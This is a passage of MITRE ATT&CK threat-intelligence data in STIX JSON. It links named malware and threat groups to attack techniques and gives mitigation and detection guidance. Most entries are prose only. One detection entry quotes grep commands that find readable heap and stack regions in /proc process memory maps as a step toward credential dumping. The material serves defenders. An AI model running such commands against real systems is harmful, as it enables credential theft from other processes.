"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--664df356-e939-4705-9e94-85721d5a53ef", "created": "2024-04-04T18:01:29.488Z", "revoked": false, "external_references": [{"source_name": "Kersten Akira 2023", "description": "Max Kersten & Alexandre Mundo. (2023, November 29). Akira Ransomware. Retrieved April 4, 2024.", "url": "https://www.trellix.com/blogs/research/akira-ransomware/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-04T18:01:29.488Z", "description": "[Akira](https://attack.mitre.org/software/S1129) executes from the Windows command line and can take various arguments for execution.(Citation: Kersten Akira 2023)", "relationship_type": "uses", "source_ref": "malware--6f6b2353-4b39-40ce-9d6d-d00b7a61e656", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--66506cb1-20d5-4cb2-b301-e4a5d2868567", "type": "relationship", "created": "2020-02-11T19:08:51.782Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-02-11T19:08:51.782Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--650c784b-7504-4df7-ab2c-4ea882384d1e", "target_ref": "attack-pattern--035bb001-ab69-4a0b-9f6c-2de8b09e1b9d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--66513679-0866-4091-a346-2679db5e3cca", "type": "relationship", "created": "2020-05-26T20:09:39.246Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "RedCanary Mockingbird May 2020", "url": "https://redcanary.com/blog/blue-mockingbird-cryptominer/", "description": "Lambert, T. (2020, May 7). Introducing Blue Mockingbird. Retrieved May 26, 2020."}], "modified": "2020-06-25T13:59:09.792Z", "description": "[Blue Mockingbird](https://attack.mitre.org/groups/G0108) has executed custom-compiled XMRIG miner DLLs using rundll32.exe.(Citation: RedCanary Mockingbird May 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--73a80fab-2aa3-48e0-a4d0-3a4828200aee", "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--66551074-a1e3-439c-a996-c1f7ca8136e2", "type": "relationship", "created": "2019-06-21T16:28:45.461Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-01-05T21:40:28.424Z", "description": "If a link is being visited by a user, block unknown or unused files in transit by default that should not be downloaded or by policy from suspicious sites as a best practice to prevent some vectors, such as .scr, .exe, .pif, .cpl, etc. Some download scanning devices can open and analyze compressed and encrypted formats, such as zip and rar that may be used to conceal malicious files.", "relationship_type": "mitigates", "source_ref": "course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96", "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--665d8625-e2d1-45d5-b5e3-d9bc0e242e7d", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT37 Feb 2018", "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"}], "modified": "2019-09-09T19:12:32.511Z", "description": "[APT37](https://attack.mitre.org/groups/G0067) has collected data from victims' local systems.(Citation: FireEye APT37 Feb 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--665e5a7f-e575-44c7-839d-4c69f14238d2", "created": "2023-01-11T18:37:36.996Z", "revoked": false, "external_references": [{"source_name": "DFIR Phosphorus November 2021", "description": "DFIR Report. (2021, November 15). Exchange Exploit Leads to Domain Wide Ransomware. Retrieved January 5, 2023.", "url": "https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-01-11T18:37:36.996Z", "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) has used an encrypted http proxy in C2 communications.(Citation: DFIR Phosphorus November 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", "target_ref": "attack-pattern--b8902400-e6c5-4ba2-95aa-2d35b442b118", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--665f8af6-bdac-4574-9d8c-9c7829e0e4e7", "type": "relationship", "created": "2021-10-14T22:21:20.872Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "TrendMicro Taidoor", "description": "Trend Micro. (2012). The Taidoor Campaign. Retrieved November 12, 2014.", "url": "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the_taidoor_campaign.pdf"}], "modified": "2021-10-14T22:21:20.872Z", "description": "[Taidoor](https://attack.mitre.org/software/S0011) has downloaded additional files onto a compromised host.(Citation: TrendMicro Taidoor)", "relationship_type": "uses", "source_ref": "malware--b143dfa4-e944-43ff-8429-bfffc308c517", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--66607dcd-372d-4906-8b11-062edeeceace", "type": "relationship", "created": "2022-03-30T14:26:51.876Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.876Z", "description": "Monitor for newly constructed processes and/or command-lines that can interact with the DACLs using built-in Windows commands, such as icacls, cacls, takeown, and attrib, which can grant adversaries higher permissions on specific files and folders.", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--34e793de-0274-4982-9c1a-246ed1c19dee", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--66620243-f978-4038-8bf3-d574b5ce5b90", "type": "relationship", "created": "2020-01-22T15:11:52.138Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "SensePost. (2016, August 18). Ruler: A tool to abuse Exchange services. Retrieved February 4, 2019.", "url": "https://github.com/sensepost/ruler", "source_name": "SensePost Ruler GitHub"}], "modified": "2020-01-22T15:11:52.138Z", "description": "[Ruler](https://attack.mitre.org/software/S0358) can be used to automate the abuse of Outlook Forms to establish persistence.(Citation: SensePost Ruler GitHub)", "relationship_type": "uses", "source_ref": "tool--90ac9266-68ce-46f2-b24f-5eb3b2a8ea38", "target_ref": "attack-pattern--a9e2cea0-c805-4bf8-9e31-f5f0513a3634", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--66625422-17cd-4b04-beb5-fa2eabe350ad", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://blog.f-secure.com/wp-content/uploads/2019/10/CosmicDuke.pdf", "description": "F-Secure Labs. (2014, July). COSMICDUKE Cosmu with a twist of MiniDuke. Retrieved July 3, 2014.", "source_name": "F-Secure Cosmicduke"}], "modified": "2021-07-20T21:57:36.229Z", "description": "[CosmicDuke](https://attack.mitre.org/software/S0050) copies and exfiltrates the clipboard contents every 30 seconds.(Citation: F-Secure Cosmicduke)", "relationship_type": "uses", "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee", "target_ref": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--66647c20-2d76-4711-9eee-07d932e75851", "type": "relationship", "created": "2020-03-27T21:14:03.099Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "http://www.crowdstrike.com/blog/whois-numbered-panda/", "description": "Meyers, A. (2013, March 29). Whois Numbered Panda. Retrieved January 14, 2016.", "source_name": "Meyers Numbered Panda"}], "modified": "2020-03-27T21:14:03.099Z", "description": "[APT12](https://attack.mitre.org/groups/G0005) has used multiple variants of [DNS Calculation](https://attack.mitre.org/techniques/T1568/003) including multiplying the first two octets of an IP address and adding the third octet to that value in order to get a resulting command and control port.(Citation: Meyers Numbered Panda)", "relationship_type": "uses", "source_ref": "intrusion-set--c47f937f-1022-4f42-8525-e7a4779a14cb", "target_ref": "attack-pattern--83a766f8-1501-4b3a-a2de-2e2849e8dfc1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--66655f1e-fe9e-487c-a4e2-4716e16aa609", "type": "relationship", "created": "2022-03-30T14:26:51.838Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.838Z", "description": "Monitor cloud logs for API calls and other potentially unusual activity related to cloud data object storage enumeration. Discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained.", "source_ref": "x-mitre-data-component--fcc4811f-9cc8-4db5-8097-4d8242a380de", "target_ref": "attack-pattern--57a3d31a-d04f-4663-b2da-7df8ec3f8c9d", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--666e9638-d9d9-4480-a98c-dfa247e43bd2", "type": "relationship", "created": "2021-03-24T17:06:09.872Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Microsoft Targeting Elections September 2020", "url": "https://blogs.microsoft.com/on-the-issues/2020/09/10/cyberattacks-us-elections-trump-biden/", "description": "Burt, T. (2020, September 10). New cyberattacks targeting U.S. elections. Retrieved March 24, 2021."}, {"source_name": "Secureworks IRON TWILIGHT Active Measures March 2017", "url": "https://www.secureworks.com/research/iron-twilight-supports-active-measures", "description": "Secureworks CTU. (2017, March 30). IRON TWILIGHT Supports Active Measures. Retrieved February 28, 2022."}], "modified": "2022-02-28T16:07:43.898Z", "description": "[APT28](https://attack.mitre.org/groups/G0007) has used spearphishing to compromise credentials.(Citation: Microsoft Targeting Elections September 2020)(Citation: Secureworks IRON TWILIGHT Active Measures March 2017)", "relationship_type": "uses", "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", "target_ref": "attack-pattern--cca0ccb6-a068-4574-a722-b1556f86833a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--666ef8c1-cc87-4efa-9f35-f9bf1d1317c6", "type": "relationship", "created": "2021-02-09T14:35:39.645Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Secure List Bad Rabbit", "url": "https://securelist.com/bad-rabbit-ransomware/82851/", "description": "Mamedov, O. Sinitsyn, F.  Ivanov, A.. (2017, October 24). Bad Rabbit ransomware. Retrieved January 28, 2021."}], "modified": "2021-05-04T19:28:12.874Z", "description": "[Bad Rabbit](https://attack.mitre.org/software/S0606) has attempted to bypass UAC and gain elevated administrative privileges.(Citation: Secure List Bad Rabbit)", "relationship_type": "uses", "source_ref": "malware--2eaa5319-5e1e-4dd7-bbc4-566fced3964a", "target_ref": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--666f1286-c25b-49ef-9d86-42a00ea69ab1", "created": "2021-11-17T16:36:15.592Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Trend Micro DRBControl February 2020", "url": "https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf", "description": "Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Clambling](https://attack.mitre.org/software/S0660) can inject into the `svchost.exe` process for execution.(Citation: Trend Micro DRBControl February 2020)", "modified": "2022-04-11T14:56:24.452Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--6e95feb1-78ee-48d3-b421-4d76663b5c49", "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--6674eb2b-8295-4af4-b4d2-0659c15d3c71", "created": "2021-10-01T01:57:31.866Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Lacework TeamTNT May 2021", "description": "Stroud, J. (2021, May 25). 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Retrieved June 9, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[OutSteel](https://attack.mitre.org/software/S1017) can automatically upload collected files to its C2 server.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )", "modified": "2022-06-09T18:40:23.658Z", "relationship_type": "uses", "source_ref": "malware--c113230f-f044-423b-af63-9b63c802f5ae", "target_ref": "attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--66794b81-fc1e-4a28-9a52-7e67d64cbed6", "created": "2022-08-09T16:52:45.070Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "ZScaler Squirrelwaffle Sep 2021", "url": "https://www.zscaler.com/blogs/security-research/squirrelwaffle-new-loader-delivering-cobalt-strike", "description": "Kumar, A., Stone-Gross, Brett. (2021, September 28). Squirrelwaffle: New Loader Delivering Cobalt Strike. Retrieved August 9, 2022."}, {"source_name": "Netskope Squirrelwaffle Oct 2021", "url": "https://www.netskope.com/blog/squirrelwaffle-new-malware-loader-delivering-cobalt-strike-and-qakbot", "description": "Palazolo, G. (2021, October 7). SquirrelWaffle: New Malware Loader Delivering Cobalt Strike and QakBot. Retrieved August 9, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Squirrelwaffle](https://attack.mitre.org/software/S1030) has downloaded and executed additional encoded payloads.(Citation: ZScaler Squirrelwaffle Sep 2021)(Citation: Netskope Squirrelwaffle Oct 2021)", "modified": "2022-08-26T21:12:02.245Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--3c18ad16-9eaf-4649-984e-68551bff0d47", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--6679b9ed-d9ec-4ff3-9961-24f39814f6d0", "created": "2022-06-16T13:47:39.025Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Kaspersky Lyceum October 2021", "url": "https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf", "description": "Kayal, A. et al. (2021, October). LYCEUM REBORN: COUNTERINTELLIGENCE IN THE MIDDLE EAST. Retrieved June 14, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[HEXANE](https://attack.mitre.org/groups/G1001) has used `net view` to enumerate domain machines.(Citation: Kaspersky Lyceum October 2021)", "modified": "2022-06-16T13:47:39.025Z", "relationship_type": "uses", "source_ref": "intrusion-set--f29b7c5e-2439-42ad-a86f-9f8984fafae3", "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--667ae01a-69ae-43c7-98c5-1a32ca1e93fa", "created": "2022-03-30T14:26:51.872Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Monitor executed commands and arguments that could be taken to gather system information related to services. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", "modified": "2022-04-20T00:31:15.584Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--667c0879-3ea2-48f1-9a1b-ceefca33aa43", "type": "relationship", "created": "2020-06-22T20:34:05.376Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Medium Metamorfo Apr 2020", "url": "https://medium.com/@chenerlich/the-avast-abuser-metamorfo-banking-malware-hides-by-abusing-avast-executable-ac9b8b392767", "description": "Erlich, C. (2020, April 3). The Avast Abuser: Metamorfo Banking Malware Hides By Abusing Avast Executable. Retrieved May 26, 2020."}, {"source_name": "Fortinet Metamorfo Feb 2020", "url": "https://www.fortinet.com/blog/threat-research/another-metamorfo-variant-targeting-customers-of-financial-institutions", "description": "Zhang, X. (2020, February 4). Another Metamorfo Variant Targeting Customers of Financial Institutions in More Countries. Retrieved July 30, 2020."}], "modified": "2021-10-15T00:45:22.062Z", "description": "[Metamorfo](https://attack.mitre.org/software/S0455) has deleted itself from the system after execution.(Citation: Medium Metamorfo Apr 2020)(Citation: Fortinet Metamorfo Feb 2020)", "relationship_type": "uses", "source_ref": "malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--667c86bd-54f8-4602-a94a-054195de2808", "type": "relationship", "created": "2020-05-11T18:05:53.417Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye HIKIT Rootkit Part 2", "url": "https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-2.html", "description": "Glyer, C., Kazanciyan, R. (2012, August 22). The \u201cHikit\u201d Rootkit: Advanced and Persistent Attack Techniques (Part 2). Retrieved May 4, 2020."}], "modified": "2021-04-23T01:52:58.559Z", "description": "[Hikit](https://attack.mitre.org/software/S0009) has the ability to create a remote shell and run given commands.(Citation: FireEye HIKIT Rootkit Part 2)", "relationship_type": "uses", "source_ref": "malware--95047f03-4811-4300-922e-1ba937d53a61", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--668139fd-1238-43f0-b768-1b7db4a1f5a0", "created": "2022-03-30T14:26:51.863Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "atomic-red proc file system", "description": "Atomic Red Team. (2023, November). T1003.007 - OS Credential Dumping: Proc Filesystem. Retrieved March 28, 2024.", "url": "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1003.007/T1003.007.md"}, {"source_name": "mimipenguin proc file", "description": "Gregal, Hunter. (2019, September 17). MimiPenguin 2.0. Retrieved March 28, 2024.", "url": "https://github.com/huntergregal/mimipenguin/blob/master/mimipenguin.sh"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-28T21:48:18.886Z", "description": "Monitor executed commands and arguments that may gather credentials from information stored in the Proc filesystem or <code>/proc</code>. For instance, adversaries may use regex patterns to search for process memory that may be exfiltrated or searched for credentials.(Citation: atomic-red proc file system)(Citation: mimipenguin proc file)\n\n<code>grep -E \"^[0-9a-f-]* r\" /proc/\"$pid\"/maps | grep -E 'heap|stack' | cut -d' ' -f 1</code>\n\n<code>grep -E \"^[0-9a-f-]* r\" /proc/\"$PID\"/maps | grep heap | cut -d' ' -f 1</code>", "relationship_type": "detects", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--3120b9fa-23b8-4500-ae73-09494f607b7d", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--66819f02-7a22-4f21-8e4f-df24969e5567", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Sednit Part 2", "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.", "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf"}], "modified": "2020-03-16T15:53:20.483Z", "description": "[ADVSTORESHELL](https://attack.mitre.org/software/S0045) can list running processes.(Citation: ESET Sednit Part 2)", "relationship_type": "uses", "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--6684ebb4-cab6-4443-a539-f71bdddbf15c", "created": "2022-03-24T11:46:08.716Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "ClearSky Lazarus Aug 2020", "url": "https://www.clearskysec.com/wp-content/uploads/2020/08/Dream-Job-Campaign.pdf", "description": "ClearSky Research Team. (2020, August 13). Operation 'Dream Job' Widespread North Korean Espionage Campaign. Retrieved December 20, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[DRATzarus](https://attack.mitre.org/software/S0694) can deploy additional tools onto an infected machine.(Citation: ClearSky Lazarus Aug 2020)", "modified": "2022-04-12T19:50:55.440Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--56aa3c82-ed40-4b5a-84bf-7231356d9e96", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--668b180d-a227-4585-98ee-55dddd6eea92", "created": "2024-03-15T20:37:09.882Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "ESET Security Mispadu Facebook Ads 2019", "description": "ESET Security. (2019, November 19). Mispadu: Advertisement for a discounted Unhappy Meal. Retrieved March 13, 2024.", "url": "https://www.welivesecurity.com/2019/11/19/mispadu-advertisement-discounted-unhappy-meal/"}, {"source_name": "Metabase Q Mispadu Trojan 2023", "description": "Garcia, F., Regalado, D. (2023, March 7). Inside Mispadu massive infection campaign in LATAM. Retrieved March 15, 2024.", "url": "https://www.metabaseq.com/mispadu-banking-trojan/"}, {"source_name": "SCILabs URSA/Mispadu Evolution 2023", "description": "SCILabs. (2023, May 23). Evolution of banking trojan URSA/Mispadu. Retrieved March 13, 2024.", "url": "https://blog.scilabs.mx/en/evolution-of-banking-trojan-ursa-mispadu/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-15T20:37:54.872Z", "description": "[Mispadu](https://attack.mitre.org/software/S1122) can log keystrokes on the victim's machine.(Citation: ESET Security Mispadu Facebook Ads 2019)(Citation: Metabase Q Mispadu Trojan 2023)(Citation: SCILabs URSA/Mispadu Evolution 2023)", "relationship_type": "uses", "source_ref": "malware--4e6464d2-69df-4e56-8d4c-1973f84d7b80", "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--668b73fd-0b71-49a5-a756-5213c0bcf6d5", "created": "2023-09-29T15:29:26.220Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-29T18:39:37.164Z", "description": "Use signatures or heuristics to detect malicious LNK and subsequently downloaded files.", "relationship_type": "mitigates", "source_ref": "course-of-action--a6a47a06-08fc-4ec4-bdc3-20373375ebb9", "target_ref": "attack-pattern--887274fc-2d63-4bdc-82f3-fae56d1d5fdc", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--668f6de8-d442-4817-b97f-e3c8dbf6ca7c", "created": "2022-03-30T14:26:51.834Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Monitor executed commands and arguments that may abuse AppleScript for execution. Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used.  Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.", "modified": 